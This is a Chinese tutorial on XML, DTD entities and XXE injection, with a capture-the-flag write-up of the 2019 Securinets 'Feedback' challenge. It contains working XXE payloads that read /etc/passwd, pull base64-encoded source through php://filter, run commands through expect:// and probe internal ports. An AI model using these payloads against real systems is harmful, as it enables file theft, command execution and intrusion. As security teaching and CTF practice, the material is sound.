XML基础
XML:可拓展标记语言
功能:标记电子文件使其具有结构性的标记语言,从而达到数据的传输与存储
XML组成模块
- 元素
- 属性
- 实体
- PCDATA
- CDATA
元素
开始标签和闭合标签中的代码,可以嵌套,定义与HTML的元素一致
属性
标签可以拥有属性,属性总在开始标签中,以键值对的形式出现,定义与HTML的属性一致
1
<img src="computer.gif" />
实体
定义普通文本的变量
PCDATA
parsed character data
PCDATA是会被解析器解析的文本
CDATA
即普通的 character data
与PCDATA相反,是不会被解析器解析的文本
注:XML允许用户自定义标签(当然也能自定义结构),比如
1 | <ckf>xxx</ckf> |
此处与HTML不同,HTML 文档只使用在 HTML 标准中定义过的标签(当然结构也是预定义的)
XML结构
- 声明
- DTD文档类型定义
- 文档元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?xml version="1.0" ?> #XML声明
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)> #文档类型定义
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</Ffrom> #文档元素
<heading>Reminder</heading>
<body>xxxxxxxx</body>
</note>
DTD 文档类型定义
DTD作用是定义XML文档的合法构建模块
使用形式:
1、文档内声明
1 | 如同例子一样:<!DOCTYPE 根元素 [元素声明]> |
2、外部引用
1 | 具体说是引用外部的DTD |
注:DTD文档的后缀名即为.dtd
DTD 实体
实体前面提到过,基本就是变量
DTD实体用于定义引用普通文本或特殊字符的快捷方式的变量,既可以内部声明也可以外部引用
分类:
1、内部实体变量
1 | 声明语法:<!ENTITY 实体名 "实体内容"> |
2、外部实体变量(XXE根源)
1 | 声明语法:<!ENTITY 实体名 SYSTEM"本地或远程服务器的文件"> |
3、参数实体变量
1 | 声明语法:<!ENTITY %实体名 SYSTEM "远程服务器上的XML文件"> |
注意:三种实体变量正对应着三种xxe的攻击方式,参数实体变量的使用容易和外部实体变量弄混
XXE 漏洞
前置知识结束,XXE全称XML外部实体注入,本质上是XML中DTD允许使用外部实体,给予攻击者机会去将自定义的值发送给应用程序从而达到攻击者的目的。
攻击注入
一、直接通过DTD外部实体声明1
2
3
4
5<?xml version="1.0"?>
<! DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
二、通过引入外部DTD文档,再引入文档中事先准备好的实体(引入外部实体声明)
1 | <?xml version="1.0"?> |
三、通过DTD外部实体声明后,再引入外部实体声明
1 | <?xml version="1.0"?> |
在常规的攻击中有两种情况用到参数实体。
1、读取的文件包括特殊字符。
2、在XXE攻击没有回显的情况下,可以利用参数实体来获取回显数据。
利用危害
主要是使用服务端语言的伪协议进行攻击(服务端会解析外部实体),根据服务端语言的不同,可使用的协议也是不同的
以下仅以PHP伪协议进行举例
1、任意读文件1
2
3file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
2、执行系统命令1
expect://id
安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
3、探测内网端口1
http://
直接使用http协议,通过返回值来探测端口
4、DDOS
Feedback–Securinets CTF Quals 2019
一道XXE利用的题,做的时候一直以为是xss,完全搞错了方向…..
初见是一个普通的评论页面1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35<div class="container-contact100">
<div class="wrap-contact100">
<form class="contact100-form validate-form" method="POST" onsubmit="func();return false;">
<span class="contact100-form-title">
Send Us A Feedback
</span>
<div class="wrap-input100 validate-input" data-validate="Please enter your name">
<input class="input100" type="text" name="name" placeholder="Full Name">
<span class="focus-input100"></span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Please enter your email: e@a.x">
<input class="input100" type="text" name="email" placeholder="E-mail">
<span class="focus-input100"></span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Please enter your message">
<textarea class="input100" name="feedback" placeholder="Your Feedback"></textarea>
<span class="focus-input100"></span>
</div>
<div class="container-contact100-form-btn">
<button class="contact100-form-btn">
<span>
<i class="fa fa-paper-plane-o m-r-6" aria-hidden="true"></i>
Send
</span>
</button>
<div id="Message" color="Blue" type="text"></div>
</div>
</form>
</div>
</div>
其中发现一串JS代码,该function创建了XML文档并发送到feed.php中
1 | function func(){ |
bp截包,Request headers + Request body1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /feed.php HTTP/1.1
Host: web2.ctfsecurinets.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://web2.ctfsecurinets.com/
Content-Type: text/plain;charset=UTF-8
Content-Length: 139
Connection: keep-alive
Cookie: _ga=GA1.2.182302694.1553391694
<?xml version="1.0" encoding="UTF-8"?>
<feedback><author>123</author><email>1533360534@qq.com</email><content>undefined</content></feedback>
发现后端会将1
<author>
标签中的元素回显,因此构造XXE需要在该标签中引用实体
测试1
2
3<!DOCTYPE a [<!ENTITY ckf SYSTEM 'file:///etc/passwd'> ]>
<feedback>
<author>&ckf;</author>
回显成功
1 | <h4>Thanks For you Feedback root:x:0:0:root:/root:/bin/bash |
根据提示,猜测flag在1
./flag
直接打开显示403 没有权限
构造XML外部实体
1 | <?xml version="1.0" encoding="UTF-8"?> |
回显如下,base64解码即可得到flag
1 | <h4>Thanks For you Feedback U2VjdXJpbmV0c3tYeGVfeFhFX0BMbF9UaDNfV0BZfQo=</h4> |